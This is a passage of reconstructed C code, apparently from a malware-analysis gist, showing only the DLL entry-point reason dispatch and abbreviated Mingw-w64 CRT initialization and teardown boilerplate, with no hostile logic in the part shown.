| if (fdwReason == 0) { // DLL_PROCESS_DETACH | |
| if (g_crt_init_count > 0) { | |
| disable_thread_calls(hinstDLL, 0); | |
| result = (int)crt_process_init((__int64)hinstDLL, 0); | |
| } else { | |
| result = 0; | |
| } | |
| } | |
| else if (fdwReason > 2) { // DLL_THREAD_DETACH(3) or unknown high values | |
| result = (int)disable_thread_calls(hinstDLL, fdwReason); | |
| if (fdwReason == 3) { // DLL_THREAD_DETACH: run TLS dtors | |
| result = (int)crt_process_init((__int64)hinstDLL, fdwReason); | |
| } | |
| } | |
| else { // DLL_PROCESS_ATTACH(1) or DLL_THREAD_ATTACH(2) | |
| if (!crt_process_init((__int64)hinstDLL, fdwReason)) { | |
| result = 0; | |
| } else { | |
| result = (int)disable_thread_calls(hinstDLL, fdwReason); | |
| if (fdwReason == 1 /* DLL_PROCESS_ATTACH */ && !result) { | |
| // Init failed after CRT came up: roll everything back | |
| disable_thread_calls(hinstDLL, 0); | |
| crt_process_init((__int64)hinstDLL, 0); | |
| } | |
| } | |
| } | |
| g_current_reason = -1; | |
| return result; | |
| } | |
| static __int64 disable_thread_calls(HMODULE h, int reason) | |
| { | |
| if (reason == 1) // DLL_PROCESS_ATTACH | |
| DisableThreadLibraryCalls(h); | |
| return 1; | |
| } | |
| // ============================================================================ | |
| // Mingw-w64 CRT Internals (abbreviated) | |
| // ============================================================================ | |
| // These are standard Mingw-w64 runtime initialization functions. | |
| // Included for completeness but not unique to this malware. | |
| static __int64 crt_process_init(__int64 hinstDLL, int reason) | |
| { | |
| // Handles CRT initialization (reason=1) and teardown (reason=0) | |
| // Uses InterlockedCompareExchange64 for thread-safe init | |
| // Calls _initterm, atexit handlers, TLS callbacks | |
| // Standard Mingw-w64 pattern - not security-relevant | |
| if (reason == 1) { | |
| g_crt_init_count++; | |
| return 1; | |
| } | |
| if (reason == 0) { | |
| if (g_crt_init_count > 0) { | |
| g_crt_init_count--; | |
| return 1; | |
| } | |
| return 0; | |
| } | |
| return 1; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment